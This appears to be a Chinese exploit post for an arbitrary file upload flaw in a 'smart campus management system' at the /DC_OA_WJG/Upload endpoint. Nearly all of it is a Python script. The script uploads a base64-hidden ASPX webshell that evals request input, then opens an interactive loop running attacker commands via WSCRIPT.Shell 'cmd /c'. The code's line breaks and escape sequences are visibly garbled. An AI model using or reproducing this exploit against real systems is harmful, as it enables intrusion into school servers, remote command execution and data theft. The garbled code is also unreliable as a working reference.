智慧校园管理系统 前台任意文件上传漏洞

登录页面如下，只要存在企业用户注册就可能出现漏洞,注意下部分页面没有注册点击位置，但是存在  /DC_OA_WJG/Upload 上传接口

import requestsimport sysimport randomimport reimport base64import timefrom requests.packages.urllib3.exceptions import InsecureRequestWarning
def title():    print('+------------------------------------------')    print('+  33[34mPOC_Des: http://wiki.peiqi.tech                                   33[0m')    print('+  33[34mGithub : https://github.com/PeiQi0                                 33[0m')    print('+  33[34m公众号  : PeiQi文库                                                   33[0m')    print('+  33[34mVersion: 智慧校园管理系统                                            33[0m')    print('+  33[36m使用格式:  python3 poc.py                                            33[0m')    print('+  33[36mUrl         >>> http://xxx.xxx.xxx.xxx                             33[0m')    print('+------------------------------------------')
def POC_1(target_url):    vuln_url = target_url + "/DC_OA_WJG/Upload"    headers = {        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",        "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryNxqOHxbHqt9mf7s5",    }    data = base64.b64decode("LS0tLS0tV2ViS2l0Rm9ybUJvdW5kYXJ5TnhxT0h4YkhxdDltZjdzNQpDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9InVwRmlsZSI7IGZpbGVuYW1lPSJQZWlRaS5hc3B4IgpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbQoKPHNjcmlwdCBsYW5ndWFnZT0iSlNjcmlwdCIgcnVuYXQ9InNlcnZlciI+ZnVuY3Rpb24gUGFnZV9Mb2FkKCl7ZXZhbChSZXF1ZXN0WyJQZWlRaSJdLCJ1bnNhZmUiKTt9PC9zY3JpcHQ+CgotLS0tLS1XZWJLaXRGb3JtQm91bmRhcnlOeHFPSHhiSHF0OW1mN3M1LS0=")    try:        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)        response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)        print("33[36m[o] 正在请求 {}/DC_OA_WJG/Upload 尝试上传木马..... 33[0m".format(target_url))        if 'true' in response.text and 'path' in response.text and response.status_code == 200:            print("33[32m[o] 目标 {} 成功上传 Webshell文件33[0m".format(target_url))            webshell_path = re.findall(r'"path":"(.*?)"', response.text)[0]            print("33[32m[o] Webshell文件地址: {}/{} 33[0m".format(target_url, webshell_path))            while True:                Cmd = str(input("33[35mCmd >>> 33[0m"))                cmd_url = target_url + "/" + webshell_path + "?PeiQi=Response.Write(new%20ActiveXObject(%22WSCRIPT.Shell%22).exec(%22cmd%20/c%20{}%22).StdOut.ReadAll());".format(Cmd)                requests.packages.urllib3.disable_warnings(InsecureRequestWarning)                response = requests.get(url=cmd_url, data=data, headers=headers, verify=False, timeout=5)                print("33[32m[o] 响应为:n{} 33[0m".format(response.text))        else:            print("33[31m[x] 目标 {} 上传Webshell文件失败33[0m".format(target_url))            sys.exit(0)
    except Exception as e:        print("33[31m[x] 请求失败 33[0m", e)

if __name__ == '__main__':    title()    target_url = str(input("33[35mPlease input Attack UrlnUrl >>> 33[0m"))    POC_1(target_url)